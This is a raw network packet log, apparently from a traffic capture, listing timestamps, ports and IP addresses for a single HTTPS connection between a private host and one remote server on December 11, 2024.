Dec 11, 2024 12:44:36.560282946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.560437918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.561517954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.561543941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.561713934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.561713934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.561836004 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.561849117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.562045097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.563179970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.563205957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.563370943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.563370943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.563394070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.563443899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.563536882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.563611031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.564567089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.564594030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.564743996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.564743996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.564811945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.564824104 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.564861059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.565013885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.566092968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.566118956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.566313982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.566313982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.566329956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.566406012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.566509962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.567970991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.567996025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.568165064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.568165064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.568188906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.568198919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.568286896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.568371058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.568913937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.569046974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.569111109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.569111109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.569133997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.569240093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.570765972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.570796013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.571017981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.571034908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.571084023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.571145058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.572333097 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.572357893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.572542906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.572542906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.572559118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.572617054 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.574043036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.574064016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.574217081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.574217081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.574240923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.574331045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.574331045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.575139999 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.575165987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.575340986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.575361967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.575442076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.576997995 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.577023029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.577183008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.577203989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.577275038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.578800917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.578826904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.579001904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.579022884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.579035997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.579035997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.579109907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.580380917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.580399990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.580583096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.580602884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.580615997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.580733061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.581382990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.581406116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.581581116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.581581116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.581607103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.581696033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.581696033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.583060980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.583090067 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.583241940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.583261967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.583319902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.583396912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.584791899 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.584813118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.585004091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.585025072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.585037947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.585086107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.586803913 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.586828947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.586963892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.586986065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.587057114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.587057114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.587080956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.587696075 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.587722063 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.587872028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.587872028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.587894917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.587999105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.589679956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.589706898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.589915037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.589915037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.589936972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.589951992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.590023994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.591166973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.591195107 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.591320038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.591344118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.591408968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.591511965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.593064070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.593087912 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.593254089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.593254089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.593276978 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.593364954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.593385935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.594774961 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.594809055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.594971895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.594971895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.594993114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.595009089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.595082998 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.595110893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.595906973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.595933914 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.596111059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.596111059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.596134901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.596147060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.596210957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.597389936 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.597414970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.597594976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.597594976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.597616911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.597630978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.597753048 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.599145889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.599165916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.599394083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.599415064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.599474907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.600904942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.600928068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.601139069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.601139069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.601166010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.601265907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.602562904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.602588892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.602741957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.602762938 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.602835894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.602930069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.603799105 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.603825092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.603981972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.604058027 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.604078054 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.604149103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.605424881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.605452061 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.605617046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.605637074 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.605696917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.605775118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.606046915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.607336998 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.607361078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.607604980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.607660055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.607705116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.607719898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.607784033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.607877970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.608967066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.608992100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.609249115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.609249115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.609270096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.610130072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.610591888 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.610619068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.610799074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.610799074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.610882044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.610893965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.611804962 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.611833096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.612006903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.612006903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.612027884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.612128973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.613672018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.613693953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.613883018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.613883018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.613904953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.613920927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.614016056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.615255117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.615278959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.615464926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.615464926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.615485907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.615572929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.616894007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.616914034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.617069960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617070913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617091894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.617106915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617106915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617182970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617182970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.617949009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.617974043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.618146896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.618168116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.618180990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.618273020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.619872093 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.619898081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.620176077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.620197058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.620209932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.620290995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.620290995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.620387077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.621582985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.621611118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.621793985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.621793985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.621814966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.621830940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.621937990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.623363018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.623383045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.623560905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.623560905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.623581886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.623672009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.624150038 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.624249935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.624392033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.624413013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.624594927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.803476095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.803505898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.803647995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.803672075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.803672075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.803689957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.803769112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.803843975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.804790974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.804819107 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.804958105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.804958105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.804985046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.804996014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.805119991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.805166960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806220055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.806258917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.806369066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806369066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806415081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806427956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.806488037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806590080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.806590080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.807519913 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.807545900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.807684898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.807684898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.807732105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.807749033 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.807825089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.807915926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.808957100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.808983088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.809195042 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.809257030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.809257030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.809272051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.809355021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.809355021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.809504986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.810703039 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.810735941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.810883999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.810883999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.810945034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.810945034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.810956001 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.810967922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.811116934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.812279940 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.812302113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.812463045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.812537909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.812537909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.812551022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.812694073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.813258886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.813281059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.813515902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.813679934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.813689947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.813828945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.814862013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.814891100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.815056086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.815057039 CET	49757	443	192.168.11.20	172.67.128.139
